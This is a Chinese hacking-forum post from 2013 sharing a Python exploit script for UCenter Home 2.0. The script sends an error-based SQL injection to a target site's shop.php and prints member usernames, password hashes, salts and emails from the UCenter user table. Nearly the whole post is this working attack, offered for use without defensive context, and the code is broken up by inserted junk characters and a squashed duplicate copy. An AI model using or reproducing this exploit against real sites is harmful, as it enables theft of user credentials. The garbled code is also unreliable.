中国网络渗透测试联盟
标题:
UCenter Home 2.0 EXP
[打印本页]
作者:
admin
时间:
2013-1-23 09:18
标题:
UCenter Home 2.0 EXP
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:
http://www.exploit-db.com/exploits/14997/'
print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
: [7 b- `+ {' h3 u' s7 n# M
% Z: r* a+ `1 a. z. D2 M
2 K- q( G; d' f& I- z! [) J
#!/usr/bin/env python
( Q& A$ b0 j9 g4 z/ N! Y. Y
- J' P* H6 `9 W
import sys
* O1 y% |+ i0 |3 w& S( `) l4 E3 V
import urllib2
" {6 ^9 h5 o1 j6 F9 ^! r
import re
3 U( X1 Q8 t2 Y1 M/ z! n3 t
" T# l+ Q5 K6 c& M
def info():
! H( v- g2 y O; Y
print 'From:
http://www.exploit-db.com/exploits/14997/'
! B, s+ X, r* g* \2 Z) h
print 'http://www.hake.cc/Web_loudong/'
2 A) T+ o1 n, j/ E2 d0 b
print 'changed:qiaoy'
9 f6 }1 u% ~$ f# H% @0 D
print 'exp:'
# w/ N) v6 l0 g4 n5 m; @2 [6 F
print ' ./UCenter_Home_2.0.py site'
" s! c$ a5 G/ c h
; D' R0 ?" R R% H
def main():
# f$ r, v+ j% P' A! W1 B+ t( u
if len(sys.argv) != 2:
" B) }9 Q/ N. C, z
info()
2 r8 s. ?" F, {
else:
8 L" |7 f$ T8 Y3 a8 p7 l
site = sys.argv[1]
# s4 [" m. O. t& Q' F# u) ~
if site[0:7] == 'http://':
" ?* j' i* o: G% a( X2 B
sitesite =site
: p2 T. z+ G6 b _5 P9 f
elif site[0:8] == 'https://':
$ t+ A5 l7 ?! y$ R5 k9 [: ~% g. g
sitesite = site
, M, g1 ^6 w5 w
else:
! `. Q: m3 B/ T# Q- v, f
site = 'http://'+site
" U3 Q, R( F% W) q) i8 V
try:
* D- v. y! r- \) S+ C" q
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
; D& h+ f+ i( W4 ] Y
Value = urllib2.urlopen(url).read()
+ z6 N- V# G1 S& f7 B
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
$ n) T/ V4 }$ o% H
hacked = Msg.split(':')
a- x1 d: W! Q s" x7 }/ b
print 'Name: '+hacked[1]
% I' u; ?1 h' n3 m& n; ^/ } l" }
print 'Passwd: '+hacked[2]
& {5 n$ p8 ? [: E M1 U- I
print 'salt: '+hacked[3]
3 {7 `( O9 }$ U# a
print 'email: '+hacked[4]
9 S! n' S9 M i2 `
except:
4 X% Q- d: n$ d( s1 |7 F$ g
print 'Sorry,I can\'t work............'
) D0 J) s4 d/ C+ E# i1 h
3 O" c4 y3 S+ K) k
if __name__ == '__main__':
+ j5 n. W$ z8 @, e. ^0 c
main()
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2